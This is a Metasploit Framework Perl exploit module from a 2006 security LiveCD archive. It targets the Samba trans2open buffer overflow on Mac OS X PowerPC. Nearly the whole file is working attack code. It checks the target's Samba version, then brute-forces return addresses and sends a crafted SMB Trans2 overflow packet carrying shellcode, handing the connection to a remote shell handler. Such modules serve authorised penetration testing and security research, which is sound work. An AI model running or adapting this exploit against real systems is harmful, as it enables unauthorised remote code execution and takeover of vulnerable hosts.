home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / samba_trans2open_osx.pm < prev    next >
Text File  |  2006-06-30  |  5KB  |  215 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::samba_trans2open_osx;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14. use Pex::SMB;
  15. use IO::Socket;
  16.  
  17. my $advanced = { };
  18.  
  19. my $info =
  20.   {
  21.     'Name'    => 'Samba trans2open Overflow (Mac OS X)',
  22.     'Version' => '$Revision: 1.18 $',
  23.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  24.  
  25.     'Arch'  => [ 'ppc' ],
  26.     'OS'    => [ 'osx' ],
  27.     'Priv'  => 1,
  28.  
  29.     'UserOpts'  =>
  30.       {
  31.         'RHOST' => [1, 'ADDR', 'The target address'],
  32.         'RPORT' => [1, 'PORT', 'The samba port', 139],
  33.         'SRET', => [0, 'DATA', 'Use specified return address'],
  34.         'DEBUG' => [0, 'BOOL', 'Enable debugging mode'],
  35.       },
  36.  
  37.     'Payload' =>
  38.       {
  39.         'Space'     => 1024,
  40.         'BadChars'  => "\x00",
  41.         'MinNops'   => 512,
  42.         'Keys'      => ['+findsock'],
  43.       },
  44.  
  45.     'Description'  => Pex::Text::Freeform(qq{
  46.         This exploits the buffer overflow found in Samba versions
  47.         2.2.0 to 2.2.8. This particular module is capable of
  48.         exploiting the bug on Mac OS X PowerPC systems.
  49. }),
  50.  
  51.     'Refs'  =>
  52.       [
  53.         ['OSVDB', '4469'],
  54.         ['URL',   'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
  55.         ['MIL',   '54'],
  56.       ],
  57.  
  58.     'Targets' =>
  59.       [
  60.         ["Mac OS X",    0xbffffdfc, 0xbfa00000, 512],
  61.       ],
  62.  
  63.     'Keys'  => ['samba'],
  64.  
  65.     'DisclosureDate' => 'Apr 7 2003',
  66.   };
  67.  
  68. sub new {
  69.     my $class = shift;
  70.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  71.     return($self);
  72. }
  73.  
  74. sub Check {
  75.     my $self = shift;
  76.     my $target_host = $self->GetVar('RHOST');
  77.     my $target_port = $self->GetVar('RPORT');
  78.  
  79.     my $s = Msf::Socket::Tcp->new
  80.       (
  81.         'PeerAddr' => $target_host,
  82.         'PeerPort' => $target_port,
  83.         'LocalPort' => $self->GetVar('CPORT'),
  84.       );
  85.     if ($s->IsError) {
  86.         $self->PrintLine("[*] Error creating socket: " . $s->GetError);
  87.         return $self->CheckCode('Connect');
  88.     }
  89.  
  90.     my $x = Pex::SMB->new({ 'Socket' => $s });
  91.  
  92.     $x->SMBNegotiate();
  93.     if ($x->Error) {
  94.         $self->PrintLine("[*] Error negotiating protocol");
  95.         return $self->CheckCode('Generic');
  96.     }
  97.  
  98.     $x->SMBSessionSetup();
  99.     if ($x->Error) {
  100.         $self->PrintLine("[*] Error setting up session");
  101.         return $self->CheckCode('Generic');
  102.     }
  103.  
  104.     my $version = $x->PeerNativeLM();
  105.     $s->Close;
  106.  
  107.     if (! $version) {
  108.         $self->PrintLine("[*] Could not determine the remote Samba version");
  109.         return $self->CheckCode('Generic');
  110.     }
  111.  
  112.     $self->PrintDebugLine(1, 'LanMan: '.$version);
  113.     $self->PrintDebugLine(1, ' OpSys: '.$x->PeerNativeOS);
  114.  
  115.     if ($version =~ /samba\s+([01]|2\.0|2\.2\.[0-7]|2\.2\.8$)/i) {
  116.         $self->PrintLine("[*] Target seems to running vulnerable version: $version");
  117.         return $self->CheckCode('Appears');
  118.     }
  119.  
  120.     $self->PrintLine("[*] Target does not seem to be vulnerable: $version");
  121.     return $self->CheckCode('Safe');
  122. }
  123.  
  124. sub Exploit {
  125.     my $self = shift;
  126.     my $target_host = $self->GetVar('RHOST');
  127.     my $target_port = $self->GetVar('RPORT');
  128.     my $target_idx  = $self->GetVar('TARGET');
  129.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  130.     my $target       = $self->Targets->[$target_idx];
  131.  
  132.     $self->PrintLine("[*] Starting bruteforce mode for target ".$target->[0]);
  133.  
  134.     if ($self->GetVar('SRET'))
  135.     {
  136.         my $ret = eval($self->GetVar('SRET')) + 0;
  137.         $target->[1] = $target->[2] = $ret;
  138.     }
  139.  
  140.     my $curr_ret;
  141.     for (
  142.         $curr_ret  = $target->[1];
  143.         $curr_ret >= $target->[2];
  144.         $curr_ret -= $target->[3]
  145.       )
  146.     {
  147.  
  148.         my $s = Msf::Socket::Tcp->new
  149.           (
  150.             'PeerAddr'  => $target_host,
  151.             'PeerPort'  => $target_port,
  152.             'LocalPort' => $self->GetVar('CPORT'),
  153.             'SSL'       => $self->GetVar('SSL'),
  154.           );
  155.         if ($s->IsError) {
  156.             $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  157.             return;
  158.         }
  159.  
  160.         my $x = Pex::SMB->new({ 'Socket' => $s });
  161.  
  162.         $x->SMBNegotiate();
  163.         if ($x->Error) {
  164.             $self->PrintLine("[*] Error negotiating protocol");
  165.             return;
  166.         }
  167.  
  168.         $x->SMBSessionSetup();
  169.         if ($x->Error) {
  170.             $self->PrintLine("[*] Error setting up session");
  171.             return;
  172.         }
  173.  
  174.         $x->SMBTConnect("\\\\127.0.0.1\\IPC\$");
  175.         if ($x->Error) {
  176.             $self->PrintLine("[*] Error connecting to IPC");
  177.             return;
  178.         }
  179.  
  180.         # This value *must* be 1988 to allow findrecv shellcode to work
  181.         my $pattern = Pex::Text::EnglishText(1988);
  182.         substr($pattern, 3, length($shellcode), $shellcode);
  183.  
  184.         # Compilers differ slightly... cover the entire area :-)
  185.         substr($pattern, 1195, 64, pack('N', $curr_ret) x 16);
  186.  
  187.         my $Trans =
  188.           "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
  189.           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
  190.           "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
  191.           "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
  192.           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  193.           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90";
  194.  
  195.         my $Overflow = $Trans . $pattern;
  196.         $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret, length($Overflow)));
  197.  
  198.         if ($self->GetVar('DEBUG'))
  199.         {
  200.             print STDERR "[*] Press enter to send overflow string...\n";
  201.             <STDIN>;
  202.         }
  203.  
  204.         $s->Send($Overflow);
  205.  
  206.         # handle client side of shellcode
  207.         $self->Handler($s->Socket);
  208.  
  209.         $s->Close();
  210.         undef($s);
  211.     }
  212. }
  213.  
  214. 1;
  215.